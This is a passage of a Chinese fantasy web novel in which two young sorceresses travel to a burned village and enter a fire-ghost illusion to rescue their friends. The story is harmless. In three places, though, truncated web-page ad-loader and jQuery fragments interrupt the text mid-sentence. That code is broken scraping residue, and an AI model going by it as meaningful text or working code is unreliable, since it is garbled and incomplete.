大婶发散的思维被打断也回过神来,不屑道:“有吧,那李家又施粥散钱又上请国师的,来了挺多京城的人,这两日好多了。” 石方县的诅咒和丹水村的病症是一样的,那这里都能控制住,说不定还能请人看看村子里的情况,可那大婶听见她们口中的村子却是一脸疑惑,说是未曾听过。 大婶的大半一看就是富贵人家,不知道一个小村子也是正常,二人谢过后就和她分开了,继续去找那拿过传音符的人。 过去许久,姜绾望着一个豪华的酒楼纳纳道:“好像是这……”闻言,芩竹就要进去,又被姜绾扯了回来,在她身上从上往下点了一遍,说:“你你你,你穿这样人家肯定不让进啊!” “我找个人不吃饭也不行?” “不吃饭更不让你进了。”姜绾嘟囔着,余光忽然撇家一个从楼中急呼呼出来的年轻男人,衣装整齐看上去是替有钱人家办事的,朝前招了招手,身后立刻跑出来几个伙计,端着精美的盒子送入前面的马车里,他们应该是要走。 芩竹也在盯着那个人,袖口突然被姜绾疯狂拉扯,这人用气声咆哮:“是他!他拿过符。右手背有十字刀口,没错,算出来有一个人就是有这样的特征!” 闻言,芩竹迅速上前拦住人,速度之快直接吧这位年轻人吓了一激灵,差点捏着刀砍出去,看清是两个小姑娘后,深吸一口气破口大骂:“你们这些小姑娘怎么回事,不是偷跑出门就是这么莽撞,出事了怎么办!” 她们好像一不小心招惹了位正在起头上的人,姜绾自知理亏,说话都没什么底气:“大哥,我们是来打听事的。” “您可认识一个术士?”芩竹问。 年轻人“叮”的一声把那抽出来的半截刀插了回去,不耐烦道:“不认识,快走,我还忙着呢。” “那传音符呢,可曾用符传信,或者这个东西您见过吗?”芩竹后退了一步一连又问了几句。 这年轻人看着就是在气炸的边缘,想走走不了又被问了一对问题,那暴躁的劲重新上来:“你告诉我谁有资格用传音符,我上哪传信去?什么破东西就来问我——” “大哥!打扰了,您先请吧。”姜绾看不下去这人骂骂咧咧的语气,直接拉过芩竹让开路,那人捏了捏眉心,朝她们两人摆摆手,就要爬上马车。 正在这时,远处传来道响亮的声音,一连嚎了好几声“余条掌事”,然后狂奔至马车前一把将正在上车的人薅了下来。 被叫做余条的人看起来已经习惯了,还没站稳就在来人头上拍了一巴掌,把后面没走远的芩竹两人看得一愣,再去看被打的人,怎么有点眼熟。 “小姐她们碰着鬼打墙了,就在丹水村那块!”护卫打扮的人喘得气都快断了,一张脸哭丧着。 而他说完,余条刚平缓了点的火气更大的,几乎是咆哮道:“你说哪?丹水村!你地方不是早就烧干净了嘛?!” “所以说……鬼,鬼……”护卫看他这样子,话也说不利索了,垂下头去。 而在后面偷看热闹的姜绾也忽然开口:“欸!这不是锦书小姐车旁边的护卫吗?”说罢又小声叨叨:“怎么又撞鬼了……” 两个眨眼之后,姜绾猛地抬头看向芩竹:“等等,丹水村,小麦姐姐不是也在那吗!” 37. 丹水村 姜绾一声惊讶太大,惹得那边的护卫和余条转眼看过来,芩竹和他们对视上,护卫小哥一下就认了出来,磕巴还没缓过来,指着她道:“你,你,是你们!” 那表情仿佛见到了救星,拉着余条道:“太好了,之前就是这几位姑娘救了我们,现在肯定也能把小姐救回来!” 芩竹也不想听那两人慢慢解释,上前两步对余条道:“我们有朋友在丹水村,如果你们要去的话,可否稍带一程。” “当然没问题!还怕你们不去呢!”护卫嘴快,开始还唯余条的命是从,一见她们两个,也不管余条答不答应,就要转过去牵马,又被余条一声呵斥喊回来。 姜绾被那中气十足的一声喊得一抖,幅度太大倒是叫余条察觉了,就看这年轻人眼神闪躲一瞬,清了清嗓子,对着马车喊了一嗓子,待那上面端着盒子的伙计跳下车,自己再站去马车前拍了拍:“坐车走。” 护卫愣了一瞬,反应过来推推芩竹的肩:“去吧,我们掌事就是嗓门大,其实心不坏,这次又要拜托二位了!” 他这恳求的语气感觉下一刻就要给芩竹两人拜一拜了,姜绾摆摆手:“不用不用……”她们二人本也要去丹水村,这般还算是乘了顺风车,于是不再耽搁,钻进马车。 余条在外驾车,姜绾两人就掀开车帘看着外面,小护卫一个箭步跨上马,扯缰绳扬声道:“我带路!”接着马车便快速行驶起来。 芩竹坐在车里,垂眸盯着腰间的碎块,有一下没一下的甩着,和木牌碰出不小的声音,商则这回伏在她肩头,随手拍了拍她的后脑。 这动静被驾车的余条听去,他回头看了眼车帘后的人,还是那大嗓门:“那会正心烦着,要说了什么话惹你们伤心了,是我对不住你们。” 芩竹本能的将这种对话的任务分给了姜绾,自己在那发呆,浑不知问的对象是自己,还是姜绾有自觉的替她回答:“没关系的,不伤心。” “那都伤心的不愿意说话了,还叫不伤心?”余条这阵的心情应该也不是很美丽,眉头皱的都能夹死苍蝇,姜绾怕不解释的话那人更加误会,就戳了下芩竹,眼神示意。 后者还算明白,也回:“没放在心上,劳烦余大哥挂心。” 然而余条冷哼一声,语气带了点“我就知道”的意思,缓缓道:“你们这个年纪的姑娘怎么这么爱逞强呢,乱跑就算了,还不喜欢吭气,没事,等回去了,你想要什么说出来,全当我给你赔个罪。” 芩竹:没有,我真不是,而且我吭声了。 姜绾:这一言不合就送礼的行为可真眼熟。 商则:这男人真讨厌。 “那就多谢余大哥了。”芩竹干巴巴地说。 “开心就行,还是我家小姐说的对啊,惹人伤心就得送礼解决。”余条像是开玩笑,听着也不是很轻松,一直和她们聊天,也不知道是怕她们紧张还是自己紧张。 这点芩竹不在意,转眼看向车外。 现在走的就是她们刚刚来时的路,可远处哪里有什么村庄,空荡荡的,而且听余条他们的对话,“丹水村烧了”是什么意思? “就是字面意思,”余条呵出一口白气,挥了下面前的飞雪,神情严峻,“城中染病的事不知道你们清不清楚,那病是从丹水村传来的,我那时候不在这一块,还在西边办事,等回来的时候就听说丹水村全村被人放火烧了。” “听说是出了村子的人说那村中有妖怪吃人,连带着人也吃人,是个鬼村,而且这人到了石方县第二日就死了,症状和他说的妖怪一摸一样,城里都在传天罚又来峡州,就降临在那个村子,便有人自发去除妖了。” 姜绾听得后背发毛:“除妖就是,放火吗?” 余条叹气点头:“对,那日恰好是头一次晴天,入夜的时候去的,连着晴了两日,火就烧了两日,等被人发现的时候已经迟了。” 芩竹想了想他说的话,又回忆之前在丹水村听到的,问:“所以之前你们都不知道丹水村有这样的病症?” “谁知道啊,丹水村离城那么近,若是知道肯定及时控制,怎么会任由他说的那般严重。” 余条回话间,便就到了她们所说的丹水村,芩竹和姜绾从车内望去,本要下车的动作一顿。 眼前护卫扯着马转头回来,在他身后,是一片雪地混着焦黑的房屋,看着荒凉揪心,和出时见到的亮堂村子毫无关系。 姜绾看着这破败的景象,一下就慌了神,忙忙跳下车,芩竹见状,在后面拉住她:“麦子可能在我们之前呆着村子里,不管是幻境还是其他,应该没事,你先别慌。” 前方的护卫小哥看她的模样自己虽急却也安慰道:“秦姑娘说的没错。我们当时进村时没有注意,以为是哪个寻常村子,进去后遇见村民才知道是丹水村,有个小弟说漏嘴让那村民发了狂,人马混乱,我无意中逃了出来,回头再看时,也就成了这般景象。” “其余的人应当就是困在那个好村子里,只是不知道是否是安全的。” “麦子和锦书都很聪明,对她们有点信心,”芩竹拍拍姜绾的肩,环视一圈村子周边的景象,淡淡道,“在外面也看不出什么,咱们得想办法进去。” 护卫小哥发愁道:“我当时也想过这个法子,可大着胆子在村里站了半晌也没动静,只好回来。” 听完他的话,姜绾不知想到了什么,猛一扯芩竹的袖子,眼神在她肩头上瞥了眼,那处的布人恰好抬起他那双豆豆眼,眨了眨。 芩竹不动声色回了个眼神,就要进去,而余条则是闲不下,也跟着要一起,还不等姜绾想个招忽悠,护卫小哥就先一步开口:“您在外面等着,也好有个照应,放心,小姐我一定带回来。” 一听这小哥也要去,姜绾清了清嗓子:“你们都别去了,我们这法子只能带两个人,况且那村里人我们认识,多带个外人有点可疑。二位放心,小姐我们一定带回来。” 芩竹也接上话:“告辞留步。”说完随意抱拳,就拉着姜绾跑进了村中,生怕多说一句被追上。 脚下雪泥被踏飞,噗呲噗呲的,将两个欲言又止的身影留在原地。 … 一踏进这村子里,就是从脚底板涌上来的寒冷,芩竹把布人揣进怀里,商则同时现身,浓郁的阴气猛地四散开来,芩竹下意识抓紧了姜绾的手腕,而这次的红火并没有来,入眼的成了滚滚黑烟,裹着两人周围,一点光线也没留。 焦味和烟雾一同钻进鼻子里,呛得姜绾直咳,芩竹挥了挥她面前的烟,眯着眼在黑烟里转着看了一圈。 商则呢?怎么把她俩整到这里自己却没了。 能确信的是,她们八成已经到了村子里,只不过又踏入了别的奇境,大概率便是着火的那日。 “不是我说,咱不能出师未捷身先死吧……”姜绾呛得眼泪直流,擤一把鼻涕都可能是黑灰。 芩竹身上根本没有带水的习惯,唯一的液体在这里用了可能还会加快身死的速度,只能掩着口鼻凭借记忆试探着前进。 “这和之前那个幻阵应该有相似的地方,你能解吗?”芩竹牵着姜绾,害怕不留神触及到什么两人分散。 姜绾呛得话都说不出来,只是点头,蹲下身摸黑找出个罗盘,又习惯性的去拧火折子,刚开一个口,芩竹忽觉不对,迅速抢下丢了出去。 一串火龙极速从芩竹手前窜出,连同那火折一起吞噬,带着周边的黑烟迸发出巨大的火焰,姜绾缩了下身子,混乱中还不忘趁那凌乱的火光看罗盘上的纹路。 抬头时身边围着一圈符纸,浮在空中缓缓转着,火焰被黄符围成的圈尽数挡着,芩竹在她身前站着,剑指收起,火焰也渐渐熄灭。 芩竹看了眼忙忙叨叨翻手掐诀的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姜绾,一双眼睛仔细看着周围的黑烟。 未知的,总是危险的。 她站在光符中间,绿衣被映得反出微光,看着倒像是人在发光似的。 芩竹耳尖微动,突然,左后方的符纸倏地燃为灰烬,她立刻回身,那处黑烟像是被什么东西吸得扭曲,漩涡中间一下亮起,奔出个浑身着火的人。 姜绾还在原地盘腿坐着,芩竹捏走旁边的符,轻念一句,甩去那人面前。符纸在他面前悬浮一瞬,同样化为飞灰。 热浪混着旁边的烟雾愈演愈烈,眼前的景象都烫出波浪。 她后退两步,又抽走悬在身边的符纸,继续向火人面前打去,符与人僵持着,芩竹手掌微微颤抖,而那人则是在原地难耐地挣扎。 “姜绾?”芩竹没有多余的手去喊人,干脆抬脚在她腿边踢了下。 那人身体摇晃了下,险些歪倒的时候一下子惊醒撑着地面猛咳:“憋死我了!” “清醒一点,情况不太好。”芩竹声音稍微大了些,话刚说完,余光又是一亮,身后竟然又奔来几个火人,她无法,收来身前的符划开手指,闪身站在姜绾身边重新搓出四道符撑出一个四方的光墙。 光墙掺着淡淡的血腥味,倒是奇异地将焦糊味盖过了。 姜绾满头大汗,灵光一闪算出了个地方,收起包袱拉过芩竹就跑:“有个开阵的东西,我们去把它破坏掉就好了!” 光墙褪去,黑烟衬得明亮的火人更加明显,姜绾看得手脚发麻,却不得不硬着头皮找方向,都快把自己舌头咬掉了。 终于到了她感觉的地方,却忽然停下脚步,一下躲在芩竹身后。 后者被扯的一个踉跄,定睛看去,眼前的火光更甚,像是好几个火人抱在一起的大火球,还未靠近都是一股灼热扑在脸上。 这怎么破坏? 芩竹看看手上那个破口,准备伸向腰间的木牌。 突然,那头的大火球开始震动,芩竹赶紧放手拉着姜绾退开数步蹲在地上,下一刻,火球分崩离析,好几个火人喊叫着飞了出去。 原本的位置,好端端站了个人。 那人一身红衣,在旁边火光的映照下,竟和火焰的鲜亮不相上下,但表情不耐,微微一侧身四周的火人便化成了渺小的火星,热浪瞬间被刺骨的阴寒取代。 “浪费我时间……” 商则冷嗤一声,一振衣袖,周边的黑烟荡开了大半,显出一圈稍能视物的空地,刚好把缩在地上的一绿一黄两道身影露出来。 那个浑身上下写满了暴躁的人原地转了半圈,应该是在找人,视线转到芩竹身上时,表情明显一愣,然后眉头蹙着,长舒一口气,小跑过来:“没事吧。”这动作表情在姜绾眼里,特别像同村小孩告状的样子。 “没事,”芩竹回答着,又对着他左看右看,“原来你就是那个开阵的人。” 商则一脸懵,听着芩竹复述了一遍姜绾的话,有点莫名:“我一出来对面就有个人要咬我,我随手把他扇走了,再回头就找不到你们了。” “可能这个地方……不能来硬的?”姜绾说。 芩竹看了看身边又聚起来的黑烟,赶紧把布人掏出来,举在商则面前:“进来。” “我……”商则自知理亏,不情不愿地消失在原地,布人身子蹦哒一下,爬到芩竹肩头耷拉着不动了。 “然后呢?”芩竹想扭头看看姜绾,结果没等到姜绾的回答,等来了身后张着手朝她们扑来的火人,这下也不管姜绾说什么了,一把抓着人向前跑去。 姜绾被扯的灵魂差点丢在原地,又是一通狂奔,好不容易停下就撑着膝盖喘气。 “你!我,好歹提前说一声啊!”姜绾喘着喘着,竟觉得鼻间的辛辣没有了,抹了把脸抬头一看,眼前是一条干净的小路,旁边的草丛后隐着个牌匾,上面写着——丹水村。 38. 丹水村 “怎么觉得,没有危险的时候,你的危险还挺大……”芩竹微微偏过头,对着她肩上那个装死的布人说道。 商则:…… 她们最后没选择让商则以实体出现,生怕他再整出什么幺蛾子,勒令他趴好在芩竹身上。 两人在村后没停留多久,便进了村,这村子还跟之前走时差不多,看着一点不像闹病的,就是这般看来村民少的可怜,在村中行了多时不见一个人,声音都没,静悄悄的,越走越瘆人。 姜绾攥紧她的小包袱,两步叨叨一句,念得不知从哪里记的经文,脖子缩着,活像那小贼进村。芩竹被她一路扯着袖子,天知道这衣服布料有多好,竟然这么几天都没破口,也是谢天谢地。 应该是走到了村中心,终于听见些人声,虽然知道出声的可能已经不是“人”,但姜绾还是极轻地叹出口气,直起了些腰。 芩竹步子稍微大了些,过了一个拐弯处时,她习惯性向里面看了眼,和一人对上视线,急忙刹停步子,扬声喊了句“大哥”,姜绾也看过去,见一个男人正笑着朝她们招手。 那不是之前送她们出村那个大哥吗? 这人面相亲切,看着舒心,总是让两人不是那么紧绷,出口也是:“二位姑娘回来寻人了?” 姜绾笑道:“是,小麦姐姐怎么样了?还好吧……”她笑容都是强牵出来的,就怕说错什么触及到这些村民发狂的点。 “麦子姑娘医者仁心,都不嫌弃村里的病人,就是——不说了。”这大哥苦笑几声,看着样子,肯定是没有好转。 姜绾又道:“大哥,那村里这两日还有没有外人来?” 大哥表情空白一瞬,随即飘上一抹不悦:“来的是李家小姐,刚到就说村里的人杀了他们的几个护卫,我们争辩不过,那小姐病秧子一个竟然直接晕过去了。” “他们李家那是我们惹得起的,要是小姐在这出了事,那还得了,我们想去看看那护卫还不让,非说我们是……鬼怪。”大哥眼神似乎空洞了下,又很快恢复正常,看得姜绾紧握芩竹袖口的手都溢出汗来。 “然,然后呢?” 大哥深深叹气,眉上的皱纹加深了些,显得无可奈何:“幸好有麦子姑娘,她把那李家小姐救了回来,可到现在那小姐也没有离去,还成日跟在麦子姑娘身边,也不知道是要做什么……” 如果要是能走,想必浔佩马鞭都能抡出风就为了拉她小姐离开。 芩竹淡淡开脱:“那小姐知恩图报,估计想给麦子点谢礼。” 这话那位大哥倒是没有反驳,反而认同道:“城里有些有钱人都心比天高,不过这李家小姐倒是不同,不嫌弃我们这地方破,还送了很多礼说是赔罪,连我媳妇也有。” 看起来相处的还算不错,芩竹放下心,姜绾便赶忙道:“那她们现在在何处,大哥能带我们过去吗?” 大哥一听连连答应,还不好意思的笑笑,说是自己都忘了引路这茬。然后忽然想起来什么,皱着眉说:“就是这两日麦子姑娘水土不服,总是吃不进去东西,说是看着就难受,这可不行啊,你们等会劝劝她叫她多少喝点粥。” “好——” 姜绾爽快答应,然后苦着脸低头去看芩竹,这可是吃不得啊……芩竹还是那副山崩不变色的脸,斜瞟了眼商则,意思是,没事,他能吃。 商则一无所知,挂在肩头没有动作。 走在路上谈话间她们知道了这大哥姓赵,此时正把她们往村长家里带,说是昨日麦子和锦书就歇息在那里。 赵大哥把她们带到后就离开了,笑着说还要上山砍柴。芩竹两人连连点头道谢,将人送走后,才对着门轻轻敲了两下。 不久,里面传来一道带着哈欠的应答,姜绾一听便来了精神,门还没开就叫道:“小麦姐姐!” 门后长长的哈欠顿了下,接着两扇门被猛地拉开,麦子和离开前差别不大,就是看起来有点疲惫,见门外是芩竹两人后,表情带上点怒意,用气声道:“怎么又跑回来了!” 芩竹没有回答,推开门极其自然地走了进去,姜绾在后面紧跟进来,指着麦子气鼓鼓道:“不过来怎么办,看着你饿死还是因为别的死掉?还好我们在路上买了点吃的……” 姜绾说着在包袱里翻找了半天,没有寻到,芩竹看了一眼,默默把手上的纸包递过去,姜绾尴尬笑笑,看麦子不太自在地接过去道谢:“村长出门了,你们先跟我进来。” 三人进了小院里侧边的一个偏大的屋子,屋内的东西都是崭新的,还很暖和,床上睡着个人,是锦书,芩竹看着她的面色,觉的有点不妙,问了一句。 “她那病是脾胃太虚,忧思过重压力太大导致的,昨日到现在什么也没有吃,有点扛不住,只能先睡着。”麦子拿着纸包里的炊饼,看着床上的人,轻轻将人叫醒。 姜绾皱着眉看着锦书惨白的小脸,将她们在外面的碰到的事说了,随后叹道:“贵为李家千金,怎么还把自己折腾成这样。” “李家在峡州帮助流民,锦书就带着人往峡州之外跑,送些钱财米面,但李家家主不同意,这次出门是偷溜出去的,结果遇上这些事。” 锦书还是没劲,眯着眼发晕,麦子也没有办法,转过来问有没有水,姜绾摇摇头,说她路上喝完了,芩竹只能掏出小酒壶:“酒行吗?” “你……以后多喝点水,”麦子犹豫道,把手里的饼掰碎,为给锦书,才细细琢磨刚才姜绾说的话,“你是说,丹水村的事情之前是没有传进城里,最后城中人知道后,反来烧了这里?” “嗯,幸亏你们没有吃这里的东西。”姜绾后怕道。 芩竹靠在窗边看着院门,问:“所以究竟是发生了什么,浔佩呢,还有那些护卫。” “浔佩说她要在村里转转找出路,护卫我不清楚,但是那天碰见锦书的时候,就只剩她这辆马车和浔佩两人了。”麦子眉头紧皱。 麦子听浔佩讲过那日的情形。她们那队人马本打算再向西行的,但是一来峡州,李家的人便将锦书拦下,怎么也要让她回家一趟,锦书总不能让底下的人难办,于是只自己一辆马车身边跟着几个领她回家的护卫拐弯往石方县这边走。 走着走着便就像是迷了方向,天黑路滑更加难走,这时候又过了一堆乱草后,雪停了月亮出头,他们一时放松便向前进了这村子,连名字也没看清,直到进来那来领路的护卫认出了这地方,和旁边几人说起,众人立刻慌了,就要掉头出村。 锦书和浔佩是这两日才从其他地方回来,自是不知道这些时日丹水村发生的事,还以为出了什么事,想问问是怎么了,有个护 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卫直接开口说了丹水村是鬼村的事,恰好,那时候旁边过了几个忙完回家的人,听见后不可置信的上前理论。 有一个护卫恐慌之下竟直接抽刀将人抹了脖子,锦书大惊,正要呵斥,就看那已死之人突然自燃,发疯朝面前的护卫扑去,另外几个村民见状,陷入恍惚,不过瞬息,也变成了火人,向着锦书她们发难。 护卫早已不敌,分出几个和浔佩护着锦书下车,而后面那火人穷追不舍,便只剩下浔佩拉着锦书,其余的护卫将火人引开。 她们这动静太大,将不远处的村民吸引过来,碰到了了锦书二人,麦子也是跟着众出来看热闹,见到那群人围着的晕过去的锦书,浔佩应该也是着急,便说了那村民发疯来杀她们的事,刚好那时候麦子和赵大哥一起去村外烧了几个尸体,福至心灵圆了个谎,将人救了回来。 然后才从浔佩那里知到丹水村的事情。 幸好从进村开始麦子就一直忙着看这个病人看那个病人没空吃饭,要不还真就…… “浔佩昨晚在村里溜达了一圈,说李君,就是那个护卫头子的马不见了,很大概率是出了村,猜想他会去李家搬救兵,让我想办法帮锦书吊着性命,再坚持一下。谁曾想,来的是你们。”麦子说话间,锦书已经缓缓睁开眼,只是还有些虚弱,懵着看过来。 麦子看她醒了,终于放下心,想在一边坐好,结果起来的时候两眼一黑就要栽倒,被芩竹眼疾手快扶住,把酒壶给她塞怀里,说:“吃点喝点,你倒了这里没人会救人。” 她还是那张冷冰冰的脸,说完后又靠去窗边,见麦子还是没动,又补充道:“这是今早在客栈里重新灌的,姜绾也能喝下去,喝吧。” 麦子听她这番哄孩子的话,无语片刻,还是笑笑照做,又长叹一声:“这还真不能说锦书身体不好,她尽管这样了还能天南海北地跑,结果在这就晕倒了,我也是,从昨夜到现在,身体一日一日沉,是没吃饭吗——只能说是这地方邪门。” “阴气重,活人不适应。”一直没出声的商则说。 “哦对,我们昨日走时还说呢,那些人不像是得病了,和叶城县被神像扣下阳寿的人很像,猜测是不是这里也有芩竹要找的东西。”姜绾一拍手。 芩竹认同点头,眼神从院外收回,看向锦书漏在外面的手腕,红绳黑珠子,怎么看怎么难受,她慢慢走过去,伸手拨了下,喃喃道:“我觉得这个就很像。” 特别不吉利的感觉,却偏偏是用来保平安的。 锦书还有些乏,芩竹只匆匆看了一下便离开了,麦子则是又掰了些饼喂给她,芩竹静静看着她们动作,随口问:“浔佩出去多长时间了。” “清早回来,睡了一会,上午走的,这会大概过去三个时辰了。”麦子说。 芩竹想了想那人手上的红绳,正想说自己出去找找她,这时,院门忽然响了声,外面传来了道洪亮的中年女声:“麦子姑娘,我们给李小姐熬了药,是偏方,一喝就没事了啊,还带了饭,都是村里新鲜菜做的,这都一日了,不吃饭可不行啊!” 芩竹从窗边能清楚地看见一个脸蛋红扑扑的妇女提着篮子和药碗快步进来,那碗中还冒着热气。 她赶紧把商则从肩膀上薅下来,晃了两下:“起床吃饭了!” 商则:…… 39. 丹水村 村长媳妇也就是梅姐,快走到门前,把放菜的篮子挎在胳膊肘上,药碗从左手挪到右手,又跺了跺脚底的雪泥,才推门进去。 笑盈盈进门正要开口,就见房中大咧咧站着个高大的男人,垮着脸看过来。 梅姐在村里没见过这人,而且他这样子着实不太善意,“诶呦”了声抄起门后的鸡毛掸子就要抽,还在喊:“你是哪里来的贼人!” “诶诶诶!梅姐!不是不是……”麦子和芩竹赶紧上前,一个去拉梅姐,一个去拽商则,芩竹还向麦子使了个眼色,后者拉架时便“不小心”将手肘撞在了梅姐的药碗上。 谁知梅姐技巧一流,就这么大幅度的动作下,药碗里的汤汁还有大半碗。 商则赶鸭子上架似的,刚现身还没个完美的亮相身后门就开了,回眸便是一顿鸡毛乱飞的招呼,姜绾在旁边缩着又想笑又暗戳戳担心,生怕这祖宗炸了毛不小心将她们吸到别的幻境里面。 芩竹看那边麦子没有得手,心中暗暗给这位梅姐竖了个大拇指,转过来看向商则,非常有良心地给他顺了顺毛。 这人还是木着脸一副生无可恋的样子,于是她小声道:“回去了你想吃什么自己买。” “我用得着吗……”商则斜了她一眼,低下头不说话。 怎么这么难伺候呢?芩竹突然懵了,难得的犯了难:“那你说怎么办?” 商则继续闷着,悄悄看她一眼再偏过头,“你自己想……” 他长得高,这个角度刚好给芩竹留下一个落寞的侧脸,看着委屈得要死,也把芩竹为难得要死。 “想不出来,那我吃。”芩竹也不说了。 “就不再——”商则本来听见这一句瞪大眼睛,可以说得上恨铁不成钢地转过来,结果刚扭过脸,眼前忽然伸来一只手,轻轻将发顶的鸡毛拂去了,他颤了颤眼睫毛,一句话就这么卡在中间,表情也转为呆愣。 芩竹踮脚再回去,抬手的动作自然又随意,但商则就是觉得浑身舒爽,感觉她拍的都不止是那根毛。 可下一句话就把他重新拉回现实。 “你不是不愿意吗?如果真要吃的话,那就只能我来了。”芩竹说着,心里不是很懂这个变脸飞快的人。 另一边麦子已经和梅姐解释妥当,说商则和芩竹她们是一起来找她的朋友,于是就把他也请进屋了,还让梅姐别生气。 梅姐本就是被吓了才会做出这个举动,一听是自己误会了,也赶紧放下东西,上前道:“小兄弟莫怪,就是家里突然来了生人,你看这事闹的……” 她说着走到桌边将东西手里的东西放好,看着拿出来的饭菜突然一喜:“来都来了,这饭菜做的也多,不如就一起尝尝。” 姜绾还是在锦书身边坐着没动,芩竹和麦子便应声坐在桌边,梅姐笑着将筷子递过去,看了眼躺在床上的锦书,担忧道:“李小姐还没醒,这药可怎么办?” “要不先放着,过会她吃了饭我们叫她喝?”麦子道。 梅姐无法,也只能妥协,装睡的锦书和存在感为零的姜绾都松了口气。 “那就先吃饭,麦子姑娘可是忙了快两天,不吃可不行,还有这位姑娘,看你瘦的。”梅姐又找来小碗,给那两人添菜,还非常热心的将商则也拉了过来,很快,饭菜堆满了小碗。 芩竹看着碗里的菜色,全是素菜,味道却格外诱人,看着就让人口水直流,本来饱腹的人竟是真生出了想吃的欲望,她都是这样,更何况是饥饿的麦子,那人真就控制不住挑起准备放进嘴里,被芩竹板着脸快速抢过了筷子。 麦子方如梦初醒,努力憋住自己的表情,看向芩竹,而梅姐被芩竹的动作吓了一跳,忙问道:“怎么了这是?” “不是,李小姐醒来还要吃饭,还有她的朋友,这些可能不太够吃,她和我吃一碗就成。”芩竹语气平稳地把那碗菜推到桌子中间。 “这,也是……”梅姐点点头,就是没有要走的打算,像是打定主意看她们吃点饭。 芩竹没办法,只能夹起一条菜,正要放进嘴里,旁边的商则快她一步把那菜放进自己碗里,慢慢尝了一大口,笑得真诚看向梅姐:“好吃,就是这菜怎么只给她们俩不给我呢?” 梅姐先前还觉得这两人动作奇怪,听他这么一说反应了一会,才明白,笑道:“可能是漏了,都有都有,你自己夹。”再给商则示意桌上的菜。 听着她们的话,芩竹从碗里装模作样抬头,同样赞叹好吃,顺手给麦子也吃了一口空气,那人同样木着脸表演。 梅姐看着她们满脸欣慰,连说了三个好,这才起身:“行,看你们吃饭我就放心了,她们老怕麦子姑娘你累垮了。”说完又叹了口气,表示外面还有事情要去看看,让她们自便。 屋内的人连忙跟着起身,堆满笑意将人送出去,锦书也不再装了,睁开眼吐出一口气。 正放松时,窗子忽然被推开,从外面跃进一道身影。 几人被吓了一跳,目光投向迅速直起身的人,定睛一看,竟然是浔佩。 她衣摆被烧出了不少破口,还有手和腿,都有不同程度的烧痕,锦书开始见是她而展开的笑容在见到这些时瞬间消失,眼睛本就因为生病显得水润,这一来直接心疼的落下泪来,撑着床就想起身。 姜绾在锦书身边,忙去扶,听见她颤声说:“怎么搞成这样了……” “没事的小姐,就是遇到点小麻烦,”浔佩看见芩竹两人也不惊讶,走过去握住锦书的手,说,“村子没办法出去,也不知道李君怎么能够出去把你们找来,但我只要踏出村就会到一个满是浓烟的地方,里面全是些着火的人,好不容易才出来。” “本来早就到了,但看你们吃得挺香,就没打扰。”浔佩的眼神望向还在桌前无聊进食的红衣男子。 姜绾“哈哈”两声,指了下旁边柜上放着的半拉炊饼,说:“给你留的,快吃吧。” 芩竹就在红衣男子身边,从她这边看就只能瞧见个发丝微微晃动的脑袋顶,这动静……大约在嚼菜,她不知怎么,忽然有点手痒。 想了也做了,当把手放在商则头顶上的时候一下,自己都还懵着,就按着他的发顶揉了揉,又轻轻带着马尾滑下去,发丝缠在手上的那一刻,她还奇迹般的有种熟悉的感觉。 商则只觉得有一阵酥麻从天灵盖一路窜到脊梁骨,叫他差些从凳子上跳起来,却生生忍住了,不可置信地转过去看。 他的头发很长,转脸来时发尾还在芩竹指间。 而芩竹因为他的动作,视线从自己的手心,移去了那张脸上明亮的眼睛,果然,也很熟悉。她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手指闲散向上抬了些,发尾从掌心溜走,青丝晃荡,重新垂在商则后背。 “谢了。”芩竹不经意搓了搓指尖,看着商则道。 她是在说刚刚的事情,商则也知道,但他此刻根本没法听进去她说的话,无意中瞥到她手上的动作,商则总觉得她指尖应该是攥了些什么。 哦,是他的心。 “不用。”他听见自己这么硬邦邦地说了一句。 芩竹应该是准备和其他人说话,原本是站在商则身侧后方,向前走了两步,商则便也打算起来跟她一起,却没想到,芩竹那般顺手,经过他时又抬手在他头顶上拍了拍,轻轻两下,手掌离开时拇指还在额头划过。 商则微微皱眉,看着芩竹已然走向前面的背影,恨不得盯出个洞来,最后自己泄了气,紧绷的身子一闪,紧接着芩竹就觉得怀里那个布人动了下,再回头去,桌边的人已经没了身影。 这是又生气了……芩竹想。 不过现在也没有时间纠结这些,芩竹回忆起自己心里方才想说的话:“假设丹水村幻境也是那个碎块造成的,可看商则的反应,东西也不像是在村子里面,只不过听浔佩说,现在也没办法出村……” “我们可以让赵大哥带我们走啊,上次他就是这么送咱们出去的。”姜绾说着。 “我昨夜和浔佩也干过这事,还特地找了赵大哥带路,出去后明明向东走得好好的,却还是又回了村中,而且当时锦书的身体也不能再折腾,只能作罢。”麦子叹道。 房内静了下来,只剩下锦书稍显急促的喘气声。 过了一会,芩竹出声道:“会不会是因为没有目的。就是我们可以要求他们把我们送到什么地方。” “话是这么说,但丹水村的人,怎么可能愿意去石方县,而且万一还是不行呢,小姐这身子……”浔佩也知道自己有些扫兴,但还是说了。 芩竹反应平平,只是换了个问题问麦子:“他们有给你说村中病症的起源是什么吗?” 麦子点头,她诊治时问起过,据说是有村民在山上发现了一只死掉的野猪,吃后就变成这样。起初是一个人,后来人数才增多了,村长查到最后,发现只有吃了肉这一个共同点,这才如此推测。 “那就去看看。反正哪也去不了,既然这病症和碎块有关,如果真的找到了,岂不正好。”芩竹说。 麦子眼神一亮:“对啊。咱们先去看看。”说罢又对锦书道:“浔佩就留下来陪你吧,她也累了许久。” 锦书点点头,知道她们又是要去冒险,自己帮不上忙还尽是拖累,实在惭愧,只好道:“小心。” “你也别去了,她们俩没有东西傍身,你这一身神通,还能护一护。”正要跟上的姜绾被芩竹按下,就听见这两句。 芩竹也不多说,问姜绾要了两张符纸备用,又向她寻来短剑,在姜绾目瞪口呆下,取了掌心的血滴在桌上的碗里,再把剑还给她:“如果真有应付不了的,你把血围着自己淋一圈,再把剑插面前。” 姜绾皱着脸看她的动作,龇牙咧嘴道:“谁教你的啊……” “突然想起来的,我也不知道有没有效果,还是要靠你自己发挥。反正是你说的,她们——”芩竹拍拍姜绾的肩,然后指了指她后面二人,“你要安全带回去。” 40. 丹水村 “你们要进山?”赵大哥看着渐晚的天色,有些犹豫反问。 